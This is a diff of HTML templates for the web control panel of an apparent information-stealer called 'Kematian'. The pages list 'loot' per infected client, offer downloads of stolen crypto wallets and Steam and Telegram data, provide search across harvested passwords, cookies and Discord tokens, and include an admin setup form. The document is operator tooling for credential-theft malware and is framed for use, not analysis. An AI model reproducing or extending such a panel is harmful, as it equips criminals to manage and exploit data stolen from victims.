<thead><tr><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for b in blobs %}
|
||||
<tr>
|
||||
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
|
||||
<td><span class="tag">{{ b.category or '—' }}</span></td>
|
||||
<td class="mono">{{ (b.size | filesize) }}</td>
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="4" class="empty">No hosted files for this client yet.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,29 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Loot · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Loot</h1>
|
||||
<p class="muted">All hosted files (wallets, Steam, Telegram) across every client.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
|
||||
<tbody>
|
||||
{% for b in blobs %}
|
||||
<tr>
|
||||
<td><a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a></td>
|
||||
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
|
||||
<td><span class="tag">{{ b.category or '—' }}</span></td>
|
||||
<td class="mono">{{ (b.size | filesize) }}</td>
|
||||
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="5" class="empty">No hosted files yet. They appear when a client reports wallets/Steam/Telegram.</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,34 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Search · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="page-head">
|
||||
<div>
|
||||
<h1>Search</h1>
|
||||
<p class="muted">Look for anything across passwords, cookies, and discord tokens.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<form class="search-bar" method="get" action="{{ url_for('search') }}">
|
||||
<input type="text" name="q" value="{{ q }}" placeholder="Search username, url, host, token..." autofocus>
|
||||
<button type="submit" class="btn btn-primary">Search</button>
|
||||
</form>
|
||||
|
||||
{% if q %}
|
||||
<div class="table-card">
|
||||
<table>
|
||||
<thead><tr><th>Type</th><th>Detail</th><th>Client</th></tr></thead>
|
||||
<tbody>
|
||||
{% for r in results %}
|
||||
<tr>
|
||||
<td>{{ r.type }}</td>
|
||||
<td class="mono">{{ r.detail }}</td>
|
||||
<td><a href="{{ url_for('client_detail', client_id=r.client) }}" class="mono client-link">{{ r.client }}</a></td>
|
||||
</tr>
|
||||
{% else %}
|
||||
<tr><td colspan="3" class="empty">No matches for "{{ q }}".</td></tr>
|
||||
{% endfor %}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,20 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}Setup · Kematian{% endblock %}
|
||||
{% block content %}
|
||||
<div class="auth-wrap">
|
||||
<form class="auth-card" method="post">
|
||||
<div class="auth-logo">☠</div>
|
||||
<h1>Create <span class="accent">admin</span></h1>
|
||||
<p class="auth-sub">One-time setup — runs only once</p>
|
||||
|
||||
<label>Username</label>
|
||||
<input type="text" name="username" required autofocus placeholder="admin">
|
||||
|
||||
<label>Password</label>
|
||||
<input type="password" name="password" required placeholder="min 6 chars">
|
||||
|
||||
<button type="submit" class="btn btn-primary">Create & continue</button>
|
||||
<a href="{{ url_for('login') }}" class="auth-link">Back to login</a>
|
||||
</form>
|
||||
</div>
|
||||
{% endblock %}
|
||||
Reference in New Issue
Block a user